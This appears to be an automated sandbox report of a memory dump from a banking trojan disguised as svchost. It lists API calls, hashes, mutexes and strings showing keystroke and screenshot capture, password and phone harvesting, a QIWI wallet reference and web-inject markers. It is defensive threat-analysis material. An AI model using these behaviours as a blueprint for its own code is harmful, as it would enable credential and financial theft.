Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Pathstrstr$BackslashCreateDirectoryErrorHandleLast$AdminCloseCurrentFolderInformationMakeSystemThreadUser
String ID: 7F1BFF57$GET $pass.txt$password=$phone=$w.qiwi.ru
API String ID: 554474407-1504432680
Opcode ID: 36107d2cb671c7c4823b7a1f227206b526096c78df2eb944ec67ef2b892598c4
Instruction ID: 2a174f549657d50b6b9ead6a098b81d6fee8c9a1354c359d70f9939a41d377c1
Opcode Fuzzy Hash: 36107d2cb671c7c4823b7a1f227206b526096c78df2eb944ec67ef2b892598c4
Instruction Fuzzy Hash: AD415931E4025D9BEF218E34AC5CBEB7BACAF81705F244698F88597140EB70D685CB95

Function 02C89FE9 Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 129sleepsynchronizationfileCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7f1bfc59,00000000,00000001), ref: 02C8A006
CreateDirectoryA.KERNEL32(02CCB2A0,00000000), ref: 02C8A041
GetLastError.KERNEL32 ref: 02C8A047
IsUserAnAdmin.SHELL32 ref: 02C8A04F
PathMakeSystemFolderA.SHLWAPI(02CCB2A0), ref: 02C8A05E
SetLastError.KERNEL32(00000000), ref: 02C8A065
Sleep.KERNEL32(000003E8), ref: 02C8A09B
CopyFileA.KERNEL32(00000000,02CCB2A0,00000000), ref: 02C8A0D3
CreateMutexA.KERNEL32(00000000,00000000,Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}), ref: 02C8A0E6
Sleep.KERNEL32(000003E8), ref: 02C8A0F7
ReleaseMutex.KERNEL32(00000000), ref: 02C8A0FA
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C8A10C

Strings

7f1bfc59, xrefs: 02C8A001, 02C8A00C
P0#v, xrefs: 02C8A0FA
Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}, xrefs: 02C8A0DD

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutexPathSleep$AdminBackslashCopyDirectoryFileFolderHandleInformationMakeReleaseSystemUser
String ID: 7f1bfc59$Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}$P0#v
API String ID: 2754757069-1854995306
Opcode ID: 59495722ea5c84c1fe7536fb17816220eef3dcba5d1c1633ff2f0d8705cc4f22
Instruction ID: 9dbeddafe6ca522f76295b8ff74685d63b30fd7363d1d50eb135df50acfb3d80
Opcode Fuzzy Hash: 59495722ea5c84c1fe7536fb17816220eef3dcba5d1c1633ff2f0d8705cc4f22
Instruction Fuzzy Hash: 19414831A406959BE7122B349C1977B3F98AF89749F098659FC47C7280CB71CA00C7D1

Function 02C8FA10 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 192memoryfilestringCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7F1BFF41,?,7693BF00), ref: 02C8FA40
CreateDirectoryA.KERNEL32(?,00000000,?,7693BF00), ref: 02C8FA81
GetLastError.KERNEL32(?,7693BF00), ref: 02C8FA8B
IsUserAnAdmin.SHELL32 ref: 02C8FA93
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8FAA4
SetLastError.KERNEL32(00000000,?,7693BF00), ref: 02C8FAAB
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,7693BF00), ref: 02C8FAEA
GetFileAttributesA.KERNEL32(?,?,7693BF00), ref: 02C8FAF7
SetCurrentDirectoryA.KERNEL32(?,?,7693BF00), ref: 02C8FB40
VirtualAlloc.KERNEL32(00000000,00000104,00003000,00000004,?,7693BF00), ref: 02C8FB5C
lstrcpynA.KERNEL32(00000000,?,00000104,?,7693BF00), ref: 02C8FB79

Part of subcall function 02C97B50: GetProcessHeap.KERNEL32(00000008,00004070,?,00000000,75AF5CE0,?,02C82840,?), ref: 02C97B63
Part of subcall function 02C97B50: HeapAlloc.KERNEL32(00000000,?,02C82840,?), ref: 02C97B66
Part of subcall function 02C97B50: memset.MSVCRT ref: 02C97B7B
Part of subcall function 02C97B50: CreateFileA.KERNEL32(02C82840,40000000,00000003,00000000,00000002,00000080,00000000,?,02C82840,?), ref: 02C97BD2
Part of subcall function 02C97B50: GetProcessHeap.KERNEL32(00000000,00000000,?,02C82840,?), ref: 02C97BF5
Part of subcall function 02C97B50: HeapValidate.KERNEL32(00000000,?,02C82840,?), ref: 02C97BF8
Part of subcall function 02C97B50: GetProcessHeap.KERNEL32(00000000,00000000,?,02C82840,?), ref: 02C97C04
Part of subcall function 02C97B50: HeapFree.KERNEL32(00000000,?,02C82840,?), ref: 02C97C07

VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,7693BF00), ref: 02C8FBA8
PathAddBackslashA.SHLWAPI(7F1BFF41,?,7693BF00), ref: 02C8FBC7
SetFileAttributesA.KERNEL32(?,00000000,?,7693BF00), ref: 02C8FC2B
DeleteFileA.KERNEL32(?,?,7693BF00), ref: 02C8FC38

Part of subcall function 02C97CE0: LocalAlloc.KERNEL32(00000040,-00000103,00000000,00000000,75AF5CE0), ref: 02C97D61
Part of subcall function 02C97CE0: _snprintf.MSVCRT ref: 02C97D7D
Part of subcall function 02C97CE0: FindFirstFileA.KERNEL32(00000000,?), ref: 02C97D8C
Part of subcall function 02C97CE0: LocalFree.KERNEL32(00000000), ref: 02C97D99
Part of subcall function 02C97CE0: wsprintfA.USER32 ref: 02C97DD8
Part of subcall function 02C97CE0: wsprintfA.USER32 ref: 02C97DE6

Strings

path.txt, xrefs: 02C8FC08
7F1BFF41, xrefs: 02C8FA3B, 02C8FA42, 02C8FBC2, 02C8FBC9
\, xrefs: 02C8FB19
inter.zip, xrefs: 02C8FAC0

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: FileHeap$AllocFreePathProcess$AttributesBackslashCreateDirectoryErrorLastLocalVirtualwsprintf$AdminCurrentDeleteFindFirstFolderMakeModuleNameSystemUserValidate_snprintflstrcpynmemset
String ID: 7F1BFF41$\$inter.zip$path.txt
API String ID: 3082343898-1629773178
Opcode ID: 88ed06e52fdd07e588f9949737f65c1daa6bdc6c799b508618e784c988bddfa0
Instruction ID: 9bb7c9631274bbb94ac3368ab62ddaff185e6de9522194c02445509fab95a5b1
Opcode Fuzzy Hash: 88ed06e52fdd07e588f9949737f65c1daa6bdc6c799b508618e784c988bddfa0
Instruction Fuzzy Hash: 036178309406855FDB22DB249CA8BFBBBE9AF85304F5086D8E989D7150DB70DA89CB50

Function 02C811D0 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Part of subcall function 02C81130: memset.MSVCRT ref: 02C81152
Part of subcall function 02C81130: GetParent.USER32(?), ref: 02C8115E
Part of subcall function 02C81130: GetWindowTextW.USER32(00000000,?,00000104), ref: 02C81175
Part of subcall function 02C81130: StrStrIW.SHLWAPI(?,00000000,?,?,?,?,00000000), ref: 02C81196

EnterCriticalSection.KERNEL32(02CBD858,?,?), ref: 02C81206
PathAddBackslashA.SHLWAPI(?,?,00000000), ref: 02C81234
PathAppendA.SHLWAPI(?,?), ref: 02C81248
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C81259
GetLastError.KERNEL32 ref: 02C8125F
IsUserAnAdmin.SHELL32 ref: 02C81268
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C81279
SetLastError.KERNEL32(?), ref: 02C81283
PathAppendA.SHLWAPI(?,keygrab), ref: 02C81295
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C812A0
GetLastError.KERNEL32 ref: 02C812A6
IsUserAnAdmin.SHELL32 ref: 02C812AE
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C812BF
SetLastError.KERNEL32(00000000), ref: 02C812C6
PathAddBackslashA.SHLWAPI(?), ref: 02C812D3
_snprintf.MSVCRT ref: 02C81303
LeaveCriticalSection.KERNEL32(02CBD858,?), ref: 02C81323

Strings

keygrab, xrefs: 02C81289
%02u.bmp, xrefs: 02C812F1

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$ErrorLast$AdminAppendBackslashCreateCriticalDirectoryFolderMakeSectionSystemUser$EnterLeaveParentTextWindow_snprintfmemset
String ID: %02u.bmp$keygrab
API String ID: 2122597915-4222822809
Opcode ID: b9a95635331556032df9da3cc206f789a13c51217be5fcd1ae6ffc336ec44d82
Instruction ID: f38ad4d4ce2a83df3e94e43d01db13399269dc43d253f1200e0522f9340ea6d4
Opcode Fuzzy Hash: b9a95635331556032df9da3cc206f789a13c51217be5fcd1ae6ffc336ec44d82
Instruction Fuzzy Hash: 9531C2759402599BDB11EBB4DC48BDA77BCEF88305F088A94E589C3000DFB0DA96CF90

Function 02C80240 Relevance: 31.8, APIs: 16, Strings: 5, Instructions: 275memorystringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(02CBD840,00000000,00000000,75C39E60,?,02C808CE,?,?,?,?,?,?,02C84818), ref: 02C80250
GetProcessHeap.KERNEL32(00000008,00000020,?,02C808CE,?,?,?,?,?,?,02C84818), ref: 02C802B8
HeapAlloc.KERNEL32(00000000,?,02C808CE,?,?,?,?,?,?,02C84818), ref: 02C802BF
strstr.MSVCRT ref: 02C8033F
strstr.MSVCRT ref: 02C80359
strstr.MSVCRT ref: 02C80373
strstr.MSVCRT ref: 02C8038D
strstr.MSVCRT ref: 02C803B7
GetProcessHeap.KERNEL32(00000008,00000020), ref: 02C803D4
HeapAlloc.KERNEL32(00000000), ref: 02C803DB
strstr.MSVCRT ref: 02C80504
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C8053C
HeapValidate.KERNEL32(00000000), ref: 02C8053F
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C8054C
HeapFree.KERNEL32(00000000), ref: 02C8054F
LeaveCriticalSection.KERNEL32(02CBD840,?,02C808CE,?,?,?,?,?,?,02C84818), ref: 02C8055A

Strings

data_before, xrefs: 02C803B1, 02C80404, 02C804F6
set_url , xrefs: 02C802E3
data_inject, xrefs: 02C8044E
data_end, xrefs: 02C80409, 02C80453, 02C804A3
data_after, xrefs: 02C8049E

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$strstr$Process$AllocCriticalSection$EnterFreeLeaveValidate
String ID: data_after$data_before$data_end$data_inject$set_url
API String ID: 2387113551-2328515424
Opcode ID: c16699b97f3a54a12fc46ee5ca0b546e22a85f7000ea06cbc45ceb26d375bcf5
Instruction ID: 862d923f2d4cfc4ddbe5a02576eeefa2444832840683b132483696eb5dc3c8e8
Opcode Fuzzy Hash: c16699b97f3a54a12fc46ee5ca0b546e22a85f7000ea06cbc45ceb26d375bcf5
Instruction Fuzzy Hash: 7BA1E2719447419FDB22DF34C8947A6BFE5AF85308F14C6ACD88A8B242EB71D60DCB91

Function 02C8D268 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 235COMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7F1BFCBF), ref: 02C8D284
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8D2BE
GetLastError.KERNEL32 ref: 02C8D2C8
IsUserAnAdmin.SHELL32 ref: 02C8D2D0
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8D2DF
SetLastError.KERNEL32(00000000), ref: 02C8D2E6
PathAddBackslashA.SHLWAPI(7F1BFCBF,?,?), ref: 02C8D389
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8D3C3
GetLastError.KERNEL32 ref: 02C8D3CD
IsUserAnAdmin.SHELL32 ref: 02C8D3D5
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8D3E4
SetLastError.KERNEL32(00000000), ref: 02C8D3EB
SetErrorMode.KERNEL32(?), ref: 02C8D4F2

Strings

.zip, xrefs: 02C8D348
7F1BFCBF, xrefs: 02C8D27F, 02C8D28A, 02C8D384, 02C8D38F
keys, xrefs: 02C8D2F9
path, xrefs: 02C8D3FE
.txt, xrefs: 02C8D448

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Error$LastPath$AdminBackslashCreateDirectoryFolderMakeSystemUser$Mode
String ID: .txt$.zip$7F1BFCBF$keys$path
API String ID: 3293890905-3130204430
Opcode ID: 4e8c0907a3706a68fe3ef888ca7144b3ee322088e14f14862d275d065ea671d8
Instruction ID: aee6f32301bdcdfa9a6d4cc34bc4f8d0ee578be413322cb3f489d5fcad6d9f42
Opcode Fuzzy Hash: 4e8c0907a3706a68fe3ef888ca7144b3ee322088e14f14862d275d065ea671d8
Instruction Fuzzy Hash: DB81E9315086868FC716DB3894687ABBBE5EFC5349F18CA58E8CAD7241EB31D509C781

Function 02C89BE0 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 189memoryfilestringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C89C00

Part of subcall function 02C89B20: PathAddBackslashA.SHLWAPI(7F1BFC6B), ref: 02C89B47
Part of subcall function 02C89B20: GetFileAttributesA.KERNEL32(?), ref: 02C89B85
Part of subcall function 02C89B20: PathFileExistsA.SHLWAPI(?), ref: 02C89BC9

PathAddBackslashA.SHLWAPI(7F1BFC6B), ref: 02C89C48
SetFileAttributesA.KERNEL32(?,00000000), ref: 02C89CB0
DeleteFileA.KERNEL32(?), ref: 02C89CBD
PathAddBackslashA.SHLWAPI(7F1BFC6B,?,?), ref: 02C89CF7
SetCurrentDirectoryA.KERNEL32(?), ref: 02C89D7A
VirtualAlloc.KERNEL32(00000000,00000104,00003000,00000004), ref: 02C89D8E
lstrcpynA.KERNEL32(00000000,?,00000104), ref: 02C89DA1
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000), ref: 02C89DD0
PathAddBackslashA.SHLWAPI(7F1BFC6B), ref: 02C89DDB
GetProcessHeap.KERNEL32(00000000,?), ref: 02C89DFE
HeapValidate.KERNEL32(00000000), ref: 02C89E01
GetProcessHeap.KERNEL32(00000000,?), ref: 02C89E0E
HeapFree.KERNEL32(00000000), ref: 02C89E11

Strings

path.txt, xrefs: 02C89C8D
7F1BFC6B, xrefs: 02C89C43, 02C89C4E, 02C89CF2, 02C89CFD, 02C89DD6, 02C89DE6
5NT, xrefs: 02C89DE1
keys.zip, xrefs: 02C89D3B

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$BackslashFileHeap$AttributesFreeProcessVirtual$AllocCurrentDeleteDirectoryExistsValidatelstrcpynmemset
String ID: 5NT$7F1BFC6B$keys.zip$path.txt
API String ID: 2685098104-2792955510
Opcode ID: f19ac0ea75750ce4670e50be6c27497d217c92bb957834dcea19e5a2fbb9cb28
Instruction ID: c06213b1eed9abbb4c11ff5360907248da8ade7d6854d3c723d800ba307d5478
Opcode Fuzzy Hash: f19ac0ea75750ce4670e50be6c27497d217c92bb957834dcea19e5a2fbb9cb28
Instruction Fuzzy Hash: 06517931A406855FDB129B389C98BF6BFE89F81308F1485E5E986DB341EB719948CB50

Function 02C8E920 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 150memoryfileCOMMON

Download Yara Rule

APIs

StrStrIW.SHLWAPI(02C7136E,\java\,?,75AF5180,00000000,?,?,02C7136E,?,?), ref: 02C8E959
StrStrIW.SHLWAPI(02C7136E,\windows\,?,?,02C7136E,?,?), ref: 02C8E969
WideCharToMultiByte.KERNEL32(00000000,00000000,02C7136E,000000FF,00000000,00000000,00000000,00000000,?,?,02C7136E,?,?), ref: 02C8E97C
GetProcessHeap.KERNEL32(00000008,00000013,?,?,02C7136E,?,?), ref: 02C8E998
HeapAlloc.KERNEL32(00000000,?,?,02C7136E,?,?), ref: 02C8E99F
memset.MSVCRT ref: 02C8E9AF
WideCharToMultiByte.KERNEL32(00000000,00000000,02C7136E,000000FF,00000000,00000000,00000000,00000000,?,?,02C7136E,?,?), ref: 02C8E9CF
GetShortPathNameA.KERNEL32(00000000,00000000,00000104), ref: 02C8E9E4
GetFileSizeEx.KERNEL32(?,?,?,?,02C7136E,?,?), ref: 02C8EA05
ReadFile.KERNEL32 ref: 02C8EA32
SetFilePointerEx.KERNEL32(?,00000000,00000000,00000000,00000000,?,75AF5180,00000000,?,?,02C7136E,?,?), ref: 02C8EA8E
GetProcessHeap.KERNEL32(00000000,00000000,?,?,02C7136E,?,?), ref: 02C8EAA1
HeapValidate.KERNEL32(00000000,?,?,02C7136E,?,?), ref: 02C8EAA4
GetProcessHeap.KERNEL32(00000000,00000000,?,?,02C7136E,?,?), ref: 02C8EAB1
HeapFree.KERNEL32(00000000,?,?,02C7136E,?,?), ref: 02C8EAB4

Strings

\windows\, xrefs: 02C8E963
iBKS, xrefs: 02C8EA42
\java\, xrefs: 02C8E953

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$FileProcess$ByteCharMultiWide$AllocFreeNamePathPointerReadShortSizeValidatememset
String ID: \java\$\windows\$iBKS
API String ID: 3070551764-2513530025
Opcode ID: 262073bbefefa13faee61674ddda304c66a7232f08ba1088c6c5e34d9c5f0139
Instruction ID: ff8bf14a6dcb9fd73a4fdef842a0580c8f30e8ec5885aa7bb6a116afd196ec38
Opcode Fuzzy Hash: 262073bbefefa13faee61674ddda304c66a7232f08ba1088c6c5e34d9c5f0139
Instruction Fuzzy Hash: 5041C471A843616BE721AF259C48FBB7AACFFC4F19F048618F814D71C0EB70DA0586A1

Function 02C82140 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 97stringthreadCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C82160
GetLogicalDriveStringsA.KERNEL32(00000104,?), ref: 02C821A8
SetErrorMode.KERNEL32(00000001,?,?,id=,user!226533!1CE3AAD1), ref: 02C821BE
GetCurrentThread.KERNEL32 ref: 02C821C6
SetThreadPriority.KERNEL32(00000000,?,id=,user!226533!1CE3AAD1), ref: 02C821CD
lstrcpynA.KERNEL32(02CCBADC,?,00000005,?,id=,user!226533!1CE3AAD1), ref: 02C821EF
GetDriveTypeA.KERNEL32(02CCBADC,?,id=,user!226533!1CE3AAD1), ref: 02C821F6

Part of subcall function 02C82030: memset.MSVCRT ref: 02C82051
Part of subcall function 02C82030: GetDriveTypeA.KERNEL32(02CCBADC,?,?,?), ref: 02C82068
Part of subcall function 02C82030: SetCurrentDirectoryA.KERNEL32(02CCBADC,?,?,?), ref: 02C82078
Part of subcall function 02C82030: _snprintf.MSVCRT ref: 02C820A5
Part of subcall function 02C82030: CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000003,A0000000,00000000), ref: 02C820C7
Part of subcall function 02C82030: WriteFile.KERNEL32(00000000,?,00000104,02C82265,00000000,00000000,76229300), ref: 02C820FB
Part of subcall function 02C82030: GetHandleInformation.KERNEL32(00000000,02C82265), ref: 02C82112
Part of subcall function 02C82030: CloseHandle.KERNEL32(00000000), ref: 02C82123

lstrcpynA.KERNEL32(02CCBADC,?,00000005,?,id=,user!226533!1CE3AAD1), ref: 02C8223F
GetDriveTypeA.KERNEL32(02CCBADC,?,id=,user!226533!1CE3AAD1), ref: 02C82246

Strings

Environment, xrefs: 02C82189
user!226533!1CE3AAD1, xrefs: 02C82149
Console, xrefs: 02C8217B
Control Panel, xrefs: 02C82182
id=, xrefs: 02C8214A
Identities, xrefs: 02C82190
AppEvents, xrefs: 02C82174, 02C82294, 02C822A0
System, xrefs: 02C8219E
Software, xrefs: 02C82197

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Drive$Type$CurrentFileHandleThreadlstrcpynmemset$CloseCreateDirectoryErrorInformationLogicalModePriorityStringsWrite_snprintf
String ID: AppEvents$Console$Control Panel$user!226533!1CE3AAD1$Environment$Identities$Software$System$id=
API String ID: 3198928771-1651316742
Opcode ID: 7f4264227056759e5aa3bc13f166b870f38044dcd9dfb47c7cb8d14f2000768e
Instruction ID: 21637d07351c62209abd453d13aea30da296579d93d7853852444d9999779526
Opcode Fuzzy Hash: 7f4264227056759e5aa3bc13f166b870f38044dcd9dfb47c7cb8d14f2000768e
Instruction Fuzzy Hash: 5E31F6B1980294AFD712EFE49C4D79EBB69EF8031CF904698ED08A7140D7704E55CF96

Function 02C8B100 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 111sleepCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7F1BFC0D), ref: 02C8B127
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8B175
GetLastError.KERNEL32 ref: 02C8B181
IsUserAnAdmin.SHELL32 ref: 02C8B185
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8B196
SetLastError.KERNEL32(00000000), ref: 02C8B19D
PathAddBackslashA.SHLWAPI(?), ref: 02C8B1D0
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8B1DF
GetLastError.KERNEL32 ref: 02C8B1E5
IsUserAnAdmin.SHELL32 ref: 02C8B1E9
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8B1FA
SetLastError.KERNEL32(00000000), ref: 02C8B201
_snprintf.MSVCRT ref: 02C8B22F
Sleep.KERNEL32(00000FA0,?), ref: 02C8B245

Strings

%s\%02d.bmp, xrefs: 02C8B21E
scrs, xrefs: 02C8B1B8
7F1BFC0D, xrefs: 02C8B122, 02C8B12D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorLastPath$AdminBackslashCreateDirectoryFolderMakeSystemUser$Sleep_snprintf
String ID: %s\%02d.bmp$7F1BFC0D$scrs
API String ID: 1455050916-1667420815
Opcode ID: a2d51a5827884aeba548fcc68a2a58e4ab6ff3698e1df2d5993144c738e64f0b
Instruction ID: 1702d08459725db940bfbe12de1844016283b2e0f2e6e241e9736916e4f7f2d0
Opcode Fuzzy Hash: a2d51a5827884aeba548fcc68a2a58e4ab6ff3698e1df2d5993144c738e64f0b
Instruction Fuzzy Hash: 48315B72D402585BCB21DB749C88BEB77A8EF85308F4446D4EA89D7100DF70DA59CBA0

Function 02C90120 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 111sleepCOMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7f1bffd6), ref: 02C90147
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C90195
GetLastError.KERNEL32 ref: 02C901A1
IsUserAnAdmin.SHELL32 ref: 02C901A5
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C901B6
SetLastError.KERNEL32(00000000), ref: 02C901BD
PathAddBackslashA.SHLWAPI(?), ref: 02C901F0
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C901FF
GetLastError.KERNEL32 ref: 02C90205
IsUserAnAdmin.SHELL32 ref: 02C90209
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C9021A
SetLastError.KERNEL32(00000000), ref: 02C90221
_snprintf.MSVCRT ref: 02C9024F
Sleep.KERNEL32(00000FA0,?), ref: 02C90265

Strings

%s\%02d.bmp, xrefs: 02C9023E
scrs, xrefs: 02C901D8
7f1bffd6, xrefs: 02C90142, 02C9014D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorLastPath$AdminBackslashCreateDirectoryFolderMakeSystemUser$Sleep_snprintf
String ID: %s\%02d.bmp$7f1bffd6$scrs
API String ID: 1455050916-2518254936
Opcode ID: 487721265e4893e57a4193ffd79a2ec7ca49d1261bb5d937a2dce87be9f48486
Instruction ID: 9288b0c1c4f02724dd8a4a36e7fd7d1f34b3c2ca216c9da405f7a4d7332aa7bc
Opcode Fuzzy Hash: 487721265e4893e57a4193ffd79a2ec7ca49d1261bb5d937a2dce87be9f48486
Instruction Fuzzy Hash: 2531F672D402995BDF269B74AC9CBEB77A8AF85300F4446D4EA89D3100DF70DA59CBA0

Function 02C8E0B0 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 83sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}), ref: 02C8E0CC
Sleep.KERNEL32(00000064), ref: 02C8E0E2
OpenMutexA.KERNEL32(00100000,00000000,Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}), ref: 02C8E0F0
ReleaseMutex.KERNEL32(00000000), ref: 02C8E0F9
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C8E117
CloseHandle.KERNEL32(00000000), ref: 02C8E125
CreateThread.KERNEL32(00000000,00000000,02C8DCE0,00000000,00000000,00000000), ref: 02C8E13A
Sleep.KERNEL32(00009C40), ref: 02C8E14B
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C8E150
GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C8E164
CloseHandle.KERNEL32(00000000), ref: 02C8E172
PathAddBackslashA.SHLWAPI(7F1BFD21), ref: 02C8E17D
Sleep.KERNEL32(00009C40,7F1BFD21,FAKTURA), ref: 02C8E197

Strings

7F1BFD21, xrefs: 02C8E178, 02C8E188
P0#v, xrefs: 02C8E0F9
FAKTURA, xrefs: 02C8E183
Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}, xrefs: 02C8E0C0, 02C8E0E4

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
